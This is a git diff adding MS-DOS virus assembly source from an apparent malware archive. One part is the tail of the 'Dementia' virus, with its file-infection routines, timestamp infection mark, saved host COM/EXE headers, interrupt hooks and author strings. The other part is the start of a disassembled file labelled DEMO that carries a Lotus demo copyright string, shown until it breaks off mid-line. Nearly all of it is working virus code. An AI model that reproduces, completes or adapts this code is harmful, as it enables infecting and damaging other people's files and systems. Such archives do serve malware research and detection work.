Load CX from stack + + mov ah,3bh ; Set current directory + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + xor dx,dx ; Zero DX + + mov di,[bp-02h] ; DI = offset of end of pathname + xor al,al ; AL = zero + stosb ; Store zero + + int 21h + + jmp find_first__ +receipt_exit: + pop cx ; Load CX from stack +receip_exit: + mov sp,bp ; SP = stack pointer + + pop bp ; Load BP from stack + + ret ; Return! + endp + +open_file proc near ; Open file + mov ax,3dffh ; Open file + xor cx,cx ; CL = attribute mask of files to ... + int 21h + mov bx,ax ; BX = file handle + + ret ; Return! + endp + +close_file proc near ; Close file + mov ah,3eh ; Close file + int 21h + + ret ; Return! + endp + +find_first proc near ; Find first matching file + mov ax,4e00h ; Find first matching file + int 21h + + ret ; Return! + endp + +find_next proc near ; Find next matching file + mov ah,4fh ; Find next matching file + int 21h + + ret ; Return! + endp + +load_info proc near ; Get file's date and time + mov ax,5700h ; Get file's date and time + int 21h + mov [bp-04h],cx ; Store file time + mov [bp-02h],dx ; Store file date + + ret ; Return! + endp + +infect_mark proc near ; Infection mark + mov ax,5701h ; Set file's date and time + mov cx,[bp-04h] ; CX = file time + mov dx,[bp-02h] ; DX = file date + and cx,1111111111100000b + or cx,0000000000000001b + int 21h + + ret ; Return! + endp + +read_file proc near ; Read from file + xor dx,dx ; Zero DX + +read_file_ proc near ; Read from file + mov ah,3fh ; Read from file + int 21h + + ret ; Return! + endp + endp + +create_file proc near ; Create file + mov ah,3ch ; Create file + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + xor cx,cx ; CX = file attributes + int 21h + + ret ; Return! + endp + +write_file proc near ; Write to file + xor dx,dx ; Zero DX + +write_file_ proc near ; Write to file + mov ah,40h ; Write to file + int 21h + + ret ; Return! + endp + endp + +set_pos_cfp proc near ; Set current file position (CFP) + mov ax,4201h ; Set current file position (CFP) + int 21h + + ret ; Return! + endp + +set_pos_eof proc near ; Set current file position (EOF) + mov ax,4202h ; Set current file position (EOF) + xor cx,cx ; Zero CX + cwd ; Zero DX + int 21h + + ret ; Return! + endp + +set_pos_sof proc near ; Set current file position (SOF) + xor cx,cx ; Zero CX + xor dx,dx ; Zero DX + +set_pos_sof_ proc near ; Set current file position (SOF) + mov ax,4200h ; Set current file position (SOF) + int 21h + + ret ; Return! + endp + endp + +delete_file proc near ; Delete file + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + mov ah,41h ; Delete file + xor cx,cx ; CL = attribute mask for deletion + int 21h + + ret ; Return! + endp +file_begin: + mov ax,0b800h ; AX = segment of text video RAM + mov es,ax ; ES = " " " " " + + xor di,di ; Zero DI + mov cx,7d0h ; Store four thousand bytes + mov ax,720h ; Black background color, light-gr... + rep stosw ; Overwrite text video RAM + + xor di,di ; Zero DI + mov si,(ansi_begin-file_begin+100h) + mov cx,(ansi_end-ansi_begin) + + nop +load_ansi: + lodsb ; AL = byte of ansi + cmp al,0ffh ; Write a string? + jne store_ansi ; Not equal? Jump to store_ansi + + lodsb ; AL = byte of ansi + dec cx ; Derease count register + cmp al,0ffh ; Write a single character? + je store_ansi ; Equal? Jump to store_ansi + + push cx si ds ; Save registers at stack + xor cx,cx ; Zero CX + mov cl,al ; CL = size of string + lodsb ; AL = byte of ansi + mov bl,al ; BL = low-order byte of offset of... + lodsb ; AL = byte of ansi + mov bh,al ; BH = high-order byte of offset o... + mov si,bx ; SI = offset of string within ansi + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + rep movsb ; Move string to text video RAM + pop ds si cx ; Load registers at stack + + add si,02h ; Add two to index register + + sub cx,02h ; Subtract two from count register + + jmp ansi_loop + + nop + nop +store_ansi: + stosb ; Store a byte of ansi +ansi_loop: + loop load_ansi + + int 20h + +ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh + db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch + db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h + db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h + db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h + db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh + db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h + db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h + db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h + db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h + db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h + db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h + db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh + db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h + db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h + db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h + db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h + db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh + db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh + db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h + db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh + db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h + db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh + db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h + db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh + db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h + db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h + db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h + db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch + db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h + db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh + db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h + db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h + db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h + db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h + db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h + db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h + db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh + db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h + db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h + db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h + db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh + db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah + db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h + db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h + db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h + db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh + db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh + db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh + db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch + db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h + db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h + db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h + db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah + db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h + db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh + db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h + db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h + db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh + db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h + db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h + db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h + db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h + db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h + db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h + db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh + db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh + db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh + db 05h,6bh,0ah,20h,07h +ansi_end: +file_end: +temp_file db '!#TEMP#!',00h ; Temporary file +request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA +filename db 'RECEIPT.IVA ',00h ; Filename +receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA +callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM +file_specifi db '*.*',00h ; File specification +origin_code db 0cdh,21h,? ; Original code of infected COM file +int21_addr dd ? ; Address of interrupt 21h +int24_addr dd ? ; Address of interrupt 24h +com_or_exe db 00h ; COM or EXE executable +stack_ptr dw ? ; Original stack pointer +stack_seg dw ? ; Original stack segment +instruct_ptr dw ? ; Original instruction pointer +code_seg dw ? ; Original code segment +initial_ip dw ? ; Initial IP +initial_cs dw ? ; Initial CS relative to start of ... +code_seg_ dw ? ; Code segment +tst_filesize dw 00h ; Test or don't test filesize + db 'Dementia]',00h + db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h + db 'I am the man that walks alone',0dh,0ah + db 'And when I''m walking a dark road',0dh,0ah + db 'At night or strolling through the park',0dh,0ah + db 'When the light begins to change',0dh,0ah + db 'I sometimes feel a little strange',0dh,0ah + db 'A little anxious when it''s dark',0dh,0ah,00h +crypt_begin: +code_end: +data_end: + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.demo.asm b/MSDOS/Virus.MSDOS.Unknown.demo.asm new file mode 100644 index 00000000..3cb23d7e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demo.asm @@ -0,0 +1,2407 @@ + +PAGE 59,132 + +; +; +; DEMO +; +; Created: 2-Mar-89 +; Version: +; Passes: 5 Analysis Options on: ABFOP +; Copyright (C) 1986 +; +; + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +DATA_1E EQU 2CH ; (97DE:002C=0) +DATA_17E EQU 0AC71H ; (97DE:AC71=0FFFFH) + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +DEMO PROC FAR + +START: + JMP LOC_31 ; (24E1) + OR AX,2020H + AND [DI],CL + OR CL,[SI+4FH] + PUSH SP + PUSH BP + PUSH BX + AND [BX+SI+41H],CL + DEC SP + AND [SI+65H],AL + DB 'monstration', 0DH, 0AH +COPYRIGHT DB 'Copyright (C) 1986' + DB 0DH, 0AH, 'Lotus Development Corp' + DB 'oration', 0DH, 0AH, 'Singular So' + DB 'lutions & GNP', 0DH, 0AH, 'All R' + DB 'ights Reserved', 0DH, 0AH, 'Rele' + DB 'ase 1.00', 0DH, 0AH + DB 1AH, 0DH +DATA_4 DB 0AH, 'Please wait ...', 0DH, 0AH, '$' + DB 'MAGELLAN.DAT', 0 + DB 'MAGELLAN.DBD', 0 + DB 0DH, 0AH, 0AH, 'Cannot find MAGEL' + DB 'LAN.DAT$' + DB 0DH, 0AH, 0AH, 'Cannot find MAGEL' + DB 'LAN.DBD$' +DATA_7 DB 80 DUP (0) +DATA_8 DB 0FCH + DB 20H, 00H + DB 139 DUP (0) + DB ' -arg mono' + DB 00H, 00H, 49H, 02H +DATA_10 DW 0 + DB 5CH, 00H +DATA_11 DW 0 + DB 6CH, 00H +DATA_12 DW 0 + +DEMO ENDP + +; +; +; External Entry Point +; +; + +INT_23H_ENTRY PROC FAR + MOV AX,600H + MOV BH,7 + XOR CX,CX ; Zero register + MOV DX,184FH + INT 10H ; Video display ah=functn 06h + ; scroll up, al=lines + MOV AH,2 + MOV BH,0 + XOR DX,DX ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + MOV AX,4C01H + INT 21H ; DOS Services ah=function 4Ch + ; terminate with al=return code + MOV AX,2523H + MOV DX,2F0H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + CALL SUB_3 ; (03B1) + MOV SP,414H + PUSHF ; Push flags + MOV AH,9 + MOV DX,195H + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx + MOV AX,1B4H + CALL SUB_4 ; (0495) + MOV DX,1DDH + JC LOC_5 ; Jump if carry Set + MOV BX,AX + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + PUSH CS + POP ES + MOV SI,1F9H + MOV DI,24BH + CLD ; Clear direction +LOC_2: + INC DATA_8 ; (97DE:0249=0FCH) + LODSB ; String [si] to al + STOSB ; Store al to es:[di] + OR AL,AL ; Zero ? + JNZ LOC_2 ; Jump if not zero + SUB DI,5 + MOV SI,2D7H + MOV CX,1 + ADD DATA_8,CL ; (97DE:0249=0FCH) + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + POPF ; Pop flags + JC LOC_3 ; Jump if carry Set + MOV SI,2D8H + MOV CX,0AH + ADD DATA_8,CL ; (97DE:0249=0FCH) + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] +LOC_3: + MOV BYTE PTR [DI],0DH + MOV AX,1A7H + CALL SUB_4 ; (0495) + JC LOC_4 ; Jump if carry Set + MOV BX,AX + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + MOV BX,SP + ADD BX,0FH + MOV CL,4 + SHR BX,CL ; Shift w/zeros fill + PUSH CS + POP ES + MOV AH,4AH ; 'J' + INT 21H ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + MOV AX,CS + MOV ES,AX + MOV DATA_10,AX ; (97DE:02E6=0) + MOV DATA_11,AX ; (97DE:02EA=0) + MOV DATA_12,AX ; (97DE:02EE=0) + MOV AX,4B00H + MOV DX,1F9H + MOV BX,2E2H + INT 21H ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + MOV AX,CS + MOV SS,AX + MOV SP,39DH + MOV DS,AX + JNC LOC_6 ; Jump if carry=0 +LOC_4: + MOV DX,1C1H +LOC_5: + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_6: + MOV AX,4C00H + INT 21H ; DOS Services ah=function 4Ch + ; terminate with al=return code +DATA_13 DB 0 +INT_23H_ENTRY ENDP + + +; +; SUBROUTINE +; + +SUB_3 PROC NEAR + MOV AH,0FH + INT 10H ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + MOV DATA_13,AL ; (97DE:03B0=0) + CMP AL,2 + JAE LOC_7 ; Jump if above or = + ADD AL,2 + MOV AH,0 + INT 10H ; Video display ah=functn 00h + ; set display mode in al +LOC_7: + XOR DX,DX ; Zero register + MOV SI,5A0H + CMP DATA_13,7 ; (97DE:03B0=0) + JNE LOC_8 ; Jump if not equal + MOV SI,1540H +LOC_8: + PUSH DX + PUSH SI + MOV AH,2 + XOR BH,BH ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + POP SI + CLD ; Clear direction + LODSW ; String [si] to ax + PUSH SI + MOV BL,AH + XOR BH,BH ; Zero register + MOV AH,9 + MOV CX,1 + INT 10H ; Video display ah=functn 09h + ; set char al & attrib bl @curs + POP SI + POP DX + INC DX + CMP DL,50H ; 'P' + JB LOC_8 ; Jump if below + INC DH + MOV DL,0 + CMP DH,19H + JB LOC_8 ; Jump if below + MOV AH,2 + MOV BH,0 + MOV DX,1900H + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx +LOC_9: + MOV AX,0C08H + INT 21H ; DOS Services ah=function 0Ch + ; clear keybd buffer & input al + CMP DATA_13,7 ; (97DE:03B0=0) + JE LOC_11 ; Jump if equal + CMP AL,4DH ; 'M' + JE LOC_11 ; Jump if equal + CMP AL,6DH ; 'm' + JE LOC_11 ; Jump if equal + CMP AL,43H ; 'C' + JE LOC_10 ; Jump if equal + CMP AL,63H ; 'c' + JE LOC_10 ; Jump if equal + MOV AX,0E07H + XOR BL,BL ; Zero register + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_9 ; (0402) +LOC_10: + STC ; Set carry flag + JMP SHORT LOC_12 ; (042B) +LOC_11: + CLC ; Clear carry flag +LOC_12: + PUSHF ; Push flags + MOV AX,600H + MOV BH,7 + XOR CX,CX ; Zero register + MOV DX,184FH + INT 10H ; Video display ah=functn 06h + ; scroll up, al=lines + MOV AH,2 + MOV BH,0 + XOR DX,DX ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + POPF ; Pop flags + RETN +SUB_3 ENDP + + DB 81 DUP (0) +DATA_15 DW 0 + +; +; SUBROUTINE +; + +SUB_4 PROC NEAR + MOV DATA_15,AX ; (97DE:0493=0) + MOV DI,443H + CALL SUB_5 ; (0529) + JNC LOC_RET_18 ; Jump if carry=0 + MOV ES,DS:DATA_1E ; (97DE:002C=0) + XOR SI,SI ; Zero register + CMP BYTE PTR ES:[SI],50H ; 'P' + JE LOC_21 ; Jump if equal +LOC_13: + CMP WORD PTR ES:[SI],5000H + JE LOC_20 ; Jump if equal +LOC_14: + INC SI + CMP WORD PTR ES:[SI-1],0 + JNE LOC_13 ; Jump if not equal + MOV AH,30H ; '0' + INT 21H ; DOS Services ah=function 30h + ; get DOS version number ax + CMP AL,3 + JB LOC_17 ; Jump if below + MOV DI,443H + XOR CX,CX ; Zero register +LOC_15: + MOV AL,ES:[SI+3] + INC SI + MOV [DI],AL + INC DI + INC CX + OR AL,AL ; Zero ? + JNZ LOC_15 ; Jump if not zero + +LOCLOOP_16: + CMP BYTE PTR [DI-1],3AH ; ':' + JE LOC_19 ; Jump if equal + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_19 ; Jump if equal + DEC DI + LOOP LOCLOOP_16 ; Loop if cx > 0 + +LOC_17: + STC ; Set carry flag + +LOC_RET_18: + RETN +LOC_19: + CALL SUB_5 ; (0529) + RETN +LOC_20: + INC SI +LOC_21: + INC SI + CMP WORD PTR ES:[SI],5441H + JNE LOC_14 ; Jump if not equal + INC SI + INC SI + CMP WORD PTR ES:[SI],3D48H + JNE LOC_14 ; Jump if not equal + INC SI + INC SI +LOC_22: + MOV DI,443H +LOC_23: + MOV AL,ES:[SI] + CMP AL,0 + JE LOC_24 ; Jump if equal + INC SI + MOV [DI],AL + INC DI + CMP AL,3BH ; ';' + JNE LOC_23 ; Jump if not equal + DEC DI + CMP DI,443H + JE LOC_22 ; Jump if equal + CALL SUB_5 ; (0529) + JC LOC_22 ; Jump if carry Set + RETN +LOC_24: + CMP DI,443H + JE LOC_14 ; Jump if equal + CALL SUB_5 ; (0529) + JC LOC_14 ; Jump if carry Set + RETN +SUB_4 ENDP + + +; +; SUBROUTINE +; + +SUB_5 PROC NEAR + MOV WORD PTR [DI],0 + MOV BX,445H + MOV AX,[BX-2] + CMP AH,3AH ; ':' + JE LOC_25 ; Jump if equal + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + CBW ; Convrt byte to word + ADD AX,3A41H + DEC BX + DEC BX +LOC_25: + CMP AL,5AH ; 'Z' + JBE LOC_26 ; Jump if below or = + SUB AL,20H ; ' ' +LOC_26: + MOV WORD PTR DATA_7,AX ; (97DE:01F9=0) + MOV DI,1FBH + CMP BYTE PTR [BX],5CH ; '\' + JE LOC_28 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI + SUB AL,40H ; '@' + MOV DL,AL + MOV AH,47H ; 'G' + PUSH SI + MOV SI,DI + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + POP SI + DEC DI +LOC_27: + INC DI + CMP BYTE PTR [DI],0 + JNE LOC_27 ; Jump if not equal + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_28 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI +LOC_28: + MOV AL,[BX] + INC BX + MOV [DI],AL + INC DI + OR AL,AL ; Zero ? + JNZ LOC_28 ; Jump if not zero + DEC DI + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_29 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI +LOC_29: + MOV BX,DATA_15 ; (97DE:0493=0) +LOC_30: + MOV AL,[BX] + INC BX + MOV [DI],AL + INC DI + OR AL,AL ; Zero ? + JNZ LOC_30 ; Jump if not zero + MOV DX,1F9H + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + RETN +SUB_5 ENDP + + AND [BX],AL + AND [BX],AL + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + AND [BX],AL + INC DX + POP ES + INC BP + POP ES + INC SI + POP ES + DEC DI + POP ES + PUSH DX + POP ES + INC BP + POP ES + AND [BX],AL + POP CX + POP ES + DEC DI + POP ES + PUSH BP + POP ES + AND [BX],AL + INC DX + POP ES + INC BP + POP ES + INC DI + POP ES + DEC CX + POP ES + DEC SI + POP ES + AND [BX],AL + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + DEC CX +;* POP CS ; Dangerous 8088 only + DB 0FH + DB 66H, 0FH, 20H, 0FH, 79H, 0FH + DB 6FH, 0FH, 75H, 0FH, 72H, 0FH + DB 20H, 0FH, 6DH, 0FH, 6FH, 0FH + DB 6EH, 0FH, 69H, 0FH, 74H, 0FH + DB 6FH, 0FH, 72H, 0FH, 20H, 0FH + DB 69H, 0FH, 73H, 0FH, 3AH, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 49H, 0FH + DB 66H, 0FH, 20H, 0FH, 79H, 0FH + DB 6FH, 0FH, 75H, 0FH, 72H, 0FH + DB 20H, 0FH, 6DH, 0FH, 6FH, 0FH + DB 6EH, 0FH, 69H, 0FH, 74H, 0FH + DB 6FH, 0FH, 72H, 0FH, 20H, 0FH + DB 69H, 0FH, 73H, 0FH, 3AH, 0FH + DB 20H, 0FH, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 0FH, 20H, 0FH + DB 20H, 